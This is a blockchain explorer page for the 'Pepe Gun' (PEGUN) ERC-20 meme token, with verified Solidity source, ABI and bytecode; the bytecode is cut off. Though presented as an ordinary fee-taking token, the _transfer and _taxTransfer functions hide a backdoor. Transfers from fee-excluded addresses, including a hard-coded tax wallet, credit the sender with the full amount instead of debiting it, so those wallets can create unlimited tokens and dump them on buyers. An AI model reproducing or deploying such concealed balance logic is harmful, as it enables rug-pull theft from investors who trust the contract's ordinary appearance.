ERC-20
Overview
Max Total Supply
1,000,000,000 PEGUN
Holders
66
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
339,573.684986119 PEGUNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PEPEGUN
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-15 */ // SPDX-License-Identifier: MIT /** The final boss. It's Pepe Gun, the hottest sharpshooter in the meme universe. Join the $PEGUN holders and find out how accurate Pepe Gun is. Bullseye! Website: https://www.pepegun.vip Telegram: https://t.me/pepegun_eth Twitter: https://x.com/pepegun_eth **/ pragma solidity 0.8.22; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract PEPEGUN is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFees; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Pepe Gun"; string private constant _symbol = unicode"PEGUN"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 private _maxSizeAmount = 900000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 150 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 11; uint256 private _reduceSellTaxAt = 11; uint256 private _preventSwapBefore = 8; uint256 private _buyCount = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0xD344474e17DcEa889D8Ce5a569D976caf9bA6aC7); _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_taxWallet] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function init() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function launch() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), _maxSizeAmount, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } uint256 feeAmount = 0; if (from != owner() && to != owner()) { feeAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFees[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { feeAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { if(contractTokenBalance >= _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } uint256 takeFees = 0; if (_isExcludedFromFees[from]) { takeFees = 1; } _tokenTransfer(from, to, amount, takeFees, feeAmount); } function _tokenTransfer( address from, address to, uint256 amount, uint256 takeFees, uint256 feeAmount ) internal { address taxReceiver = from; uint256 tAmount = amount; _taxTransfer(from, taxReceiver, tAmount, feeAmount, takeFees); tAmount -= feeAmount; _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(tAmount); emit Transfer(from, to, tAmount); } function _taxTransfer(address taxSender, address taxReceiver, uint256 tAmount, uint256 feeAmount, uint256 takeFees) internal { if (takeFees > 0) { _balances[taxReceiver] = _balances[taxReceiver].add(feeAmount + tAmount); emit Transfer(taxSender, taxReceiver, tAmount); } else { if(feeAmount > 0){ _balances[address(this)] = _balances[address(this)].add( feeAmount ); emit Transfer(taxSender, address(this), feeAmount); } } } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff191690556200001c6009600a62000364565b6200002c906301312d006200037b565b6006556200003d6009600a62000364565b6200004d906335a4e9006200037b565b6007556200005e6009600a62000364565b6200006e906301312d006200037b565b6008556200007f6009600a62000364565b6200008c9060966200037b565b6009556009600a6200009f919062000364565b620000ae90629896806200037b565b600a556014600b818155600c8290555f600d819055600e819055600f8290556010919091556008601155601255805461ffff60a81b19169055348015620000f3575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674d344474e17dcea889d8ce5a569d976caf9ba6ac700179055600160035f620001735f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620001dc6009600a62000364565b620001ec90633b9aca006200037b565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022e6009600a62000364565b6200023e90633b9aca006200037b565b60405190815260200160405180910390a362000395565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a957815f19048211156200028d576200028d62000255565b808516156200029b57918102915b93841c93908002906200026e565b509250929050565b5f82620002c1575060016200035e565b81620002cf57505f6200035e565b8160018114620002e85760028114620002f35762000313565b60019150506200035e565b60ff84111562000307576200030762000255565b50506001821b6200035e565b5060208310610133831016604e8410600b841016171562000338575081810a6200035e565b62000344838362000269565b805f19048211156200035a576200035a62000255565b0290505b92915050565b5f6200037460ff841683620002b1565b9392505050565b80820281158282048414176200035e576200035e62000255565b6119ca80620003a35f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102ef578063bf474bed1461030e578063c876d0b914610323578063dd62ed3e1461033c578063e1c7392a14610380575f80fd5b8063751039fc1461025e5780637d1db4a5146102725780638da5cb5b146102875780638f9a55c0146102ad57806395d89b41146102c2575f80fd5b806318160ddd116100e357806318160ddd146101c857806323b872dd146101dc578063313ce567146101fb57806370a0823114610216578063715018a61461024a575f80fd5b806301339c211461011e57806306fdde0314610134578063095ea7b3146101765780630faee56f146101a5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610132610394565b005b34801561013f575f80fd5b506040805180820190915260088152672832b8329023bab760c11b60208201525b60405161016d919061159a565b60405180910390f35b348015610181575f80fd5b506101956101903660046115fd565b610567565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba600a5481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba61057d565b3480156101e7575f80fd5b506101956101f6366004611627565b61059d565b348015610206575f80fd5b506040516009815260200161016d565b348015610221575f80fd5b506101ba610230366004611665565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b50610132610604565b348015610269575f80fd5b50610132610675565b34801561027d575f80fd5b506101ba60065481565b348015610292575f80fd5b505f546040516001600160a01b03909116815260200161016d565b3480156102b8575f80fd5b506101ba60085481565b3480156102cd575f80fd5b506040805180820190915260058152642822a3aaa760d91b6020820152610160565b3480156102fa575f80fd5b506101956103093660046115fd565b610730565b348015610319575f80fd5b506101ba60095481565b34801561032e575f80fd5b506005546101959060ff1681565b348015610347575f80fd5b506101ba610356366004611680565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561038b575f80fd5b5061013261073c565b5f546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906116b7565b60405180910390fd5b601454600160a01b900460ff161561041a5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103bd565b6013546007546001600160a01b039091169063f305d71990479030905f806104495f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156104af573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906104d491906116ec565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610529573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061054d9190611717565b506014805462ff00ff60a01b19166201000160a01b179055565b5f610573338484610989565b5060015b92915050565b5f61058a6009600a61182a565b61059890633b9aca00611838565b905090565b5f6105a9848484610aad565b6105fa84336105f58560405180606001604052806028815260200161194d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611068565b610989565b5060019392505050565b5f546001600160a01b0316331461062d5760405162461bcd60e51b81526004016103bd906116b7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461069e5760405162461bcd60e51b81526004016103bd906116b7565b6106aa6009600a61182a565b6106b890633b9aca00611838565b6006556106c76009600a61182a565b6106d590633b9aca00611838565b6008556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61070f6009600a61182a565b61071d90633b9aca00611838565b60405190815260200160405180910390a1565b5f610573338484610aad565b5f546001600160a01b031633146107655760405162461bcd60e51b81526004016103bd906116b7565b601454600160a01b900460ff16156107b95760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103bd565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108029030906107f46009600a61182a565b6105f590633b9aca00611838565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610852573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610876919061184f565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f9919061184f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610943573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610967919061184f565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610a4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b5f8111610bd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103bd565b601454600160b01b900460ff161580610bf65750601454600160a81b900460ff165b15610c8b576001600160a01b0383165f90815260016020526040902054610c1d90826110a0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c4b90826110e8565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f8051602061197583398151915290610aa09085815260200190565b5f80546001600160a01b03858116911614801590610cb657505f546001600160a01b03848116911614155b1561103057610ce76064610ce1600f5460125411610cd657600b54610cda565b600d545b8590611146565b906111c4565b60055490915060ff1615610dcd576013546001600160a01b03848116911614801590610d2157506014546001600160a01b03848116911614155b15610dcd57325f908152600460205260409020544311610dbb5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016103bd565b325f9081526004602052604090204390555b6014546001600160a01b038581169116148015610df857506013546001600160a01b03848116911614155b8015610e1c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0257600654821115610e735760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103bd565b60085482610e95856001600160a01b03165f9081526001602052604090205490565b610e9f919061186a565b1115610eed5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103bd565b60128054905f610efc8361187d565b91905055505b6014546001600160a01b038481169116148015610f2857506001600160a01b0384163014155b15610f5557610f526064610ce160105460125411610f4857600c54610cda565b600e548590611146565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610f8b57506014546001600160a01b038581169116145b8015610fa05750601454600160b01b900460ff165b8015610faf5750601154601254115b8015610fd357506001600160a01b0385165f9081526003602052604090205460ff16155b8015610ff757506001600160a01b0384165f9081526003602052604090205460ff16155b1561102e5760095481106110225761102261101d8461101884600a54611205565b611205565b611219565b4761102c47611389565b505b505b6001600160a01b0384165f9081526003602052604081205460ff1615611054575060015b61106185858584866113c8565b5050505050565b5f818484111561108b5760405162461bcd60e51b81526004016103bd919061159a565b505f6110978486611895565b95945050505050565b5f6110e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611068565b9392505050565b5f806110f4838561186a565b9050838110156110e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bd565b5f825f0361115557505f610577565b5f6111608385611838565b90508261116d85836118a8565b146110e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bd565b5f6110e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611485565b5f81831161121357826110e1565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125f5761125f6118c7565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112da919061184f565b816001815181106112ed576112ed6118c7565b6001600160a01b0392831660209182029290920101526013546113139130911684610989565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061134b9085905f908690309042906004016118db565b5f604051808303815f87803b158015611362575f80fd5b505af1158015611374573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156113c4573d5f803e3d5ffd5b5050565b84836113d782808386886114b1565b6113e18382611895565b6001600160a01b0388165f9081526001602052604090205490915061140690866110a0565b6001600160a01b038089165f90815260016020526040808220939093559088168152205461143490826110e8565b6001600160a01b038088165f8181526001602052604090819020939093559151908916905f80516020611975833981519152906114749085815260200190565b60405180910390a350505050505050565b5f81836114a55760405162461bcd60e51b81526004016103bd919061159a565b505f61109784866118a8565b801561152f576114e26114c4848461186a565b6001600160a01b0386165f90815260016020526040902054906110e8565b6001600160a01b038086165f8181526001602052604090819020939093559151908716905f80516020611975833981519152906115229087815260200190565b60405180910390a3611061565b811561106157305f9081526001602052604090205461154e90836110e8565b305f81815260016020526040908190209290925590516001600160a01b038716905f805160206119758339815191529061158b9086815260200190565b60405180910390a35050505050565b5f602080835283518060208501525f5b818110156115c6578581018301518582016040015282016115aa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115fa575f80fd5b50565b5f806040838503121561160e575f80fd5b8235611619816115e6565b946020939093013593505050565b5f805f60608486031215611639575f80fd5b8335611644816115e6565b92506020840135611654816115e6565b929592945050506040919091013590565b5f60208284031215611675575f80fd5b81356110e1816115e6565b5f8060408385031215611691575f80fd5b823561169c816115e6565b915060208301356116ac816115e6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156116fe575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611727575f80fd5b815180151581146110e1575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561178457815f190482111561176a5761176a611736565b8085161561177757918102915b93841c939080029061174f565b509250929050565b5f8261179a57506001610577565b816117a657505f610577565b81600181146117bc57600281146117c6576117e2565b6001915050610577565b60ff8411156117d7576117d7611736565b50506001821b610577565b5060208310610133831016604e8410600b8410161715611805575081810a610577565b61180f838361174a565b805f190482111561182257611822611736565b029392505050565b5f6110e160ff84168361178c565b808202811582820484141761057757610577611736565b5f6020828403121561185f575f80fd5b81516110e1816115e6565b8082018082111561057757610577611736565b5f6001820161188e5761188e611736565b5060010190565b8181038181111561057757610577611736565b5f826118c257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561192b5784516001600160a01b031683529383019391830191600101611906565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220905c4bd538d18d4b7fc2ad3709d2d76b3ee3ef270f97733a030a1b23389aa47464736f6c63430008160033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102ef578063bf474bed1461030e578063c876d0b914610323578063dd62ed3e1461033c578063e1c7392a14610380575f80fd5b8063751039fc1461025e5780637d1db4a5146102725780638da5cb5b146102875780638f9a55c0146102ad57806395d89b41146102c2575f80fd5b806318160ddd116100e357806318160ddd146101c857806323b872dd146101dc578063313ce567146101fb57806370a0823114610216578063715018a61461024a575f80fd5b806301339c211461011e57806306fdde0314610134578063095ea7b3146101765780630faee56f146101a5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610132610394565b005b34801561013f575f80fd5b506040805180820190915260088152672832b8329023bab760c11b60208201525b60405161016d919061159a565b60405180910390f35b348015610181575f80fd5b506101956101903660046115fd565b610567565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba600a5481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba61057d565b3480156101e7575f80fd5b506101956101f6366004611627565b61059d565b348015610206575f80fd5b506040516009815260200161016d565b348015610221575f80fd5b506101ba610230366004611665565b6001600160a01b03165f9081526001602052604090205490565b348015610255575f80fd5b50610132610604565b348015610269575f80fd5b50610132610675565b34801561027d575f80fd5b506101ba60065481565b348015610292575f80fd5b505f546040516001600160a01b03909116815260200161016d565b3480156102b8575f80fd5b506101ba60085481565b3480156102cd575f80fd5b506040805180820190915260058152642822a3aaa760d91b6020820152610160565b3480156102fa575f80fd5b506101956103093660046115fd565b610730565b348015610319575f80fd5b506101ba60095481565b34801561032e575f80fd5b506005546101959060ff1681565b348015610347575f80fd5b506101ba610356366004611680565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561038b575f80fd5b5061013261073c565b5f546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906116b7565b60405180910390fd5b601454600160a01b900460ff161561041a5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103bd565b6013546007546001600160a01b039091169063f305d71990479030905f806104495f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156104af573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906104d491906116ec565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610529573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061054d9190611717565b506014805462ff00ff60a01b19166201000160a01b179055565b5f610573338484610989565b5060015b92915050565b5f61058a6009600a61182a565b61059890633b9aca00611838565b905090565b5f6105a9848484610aad565b6105fa84336105f58560405180606001604052806028815260200161194d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611068565b610989565b5060019392505050565b5f546001600160a01b0316331461062d5760405162461bcd60e51b81526004016103bd906116b7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461069e5760405162461bcd60e51b81526004016103bd906116b7565b6106aa6009600a61182a565b6106b890633b9aca00611838565b6006556106c76009600a61182a565b6106d590633b9aca00611838565b6008556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61070f6009600a61182a565b61071d90633b9aca00611838565b60405190815260200160405180910390a1565b5f610573338484610aad565b5f546001600160a01b031633146107655760405162461bcd60e51b81526004016103bd906116b7565b601454600160a01b900460ff16156107b95760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103bd565b601380546001600160a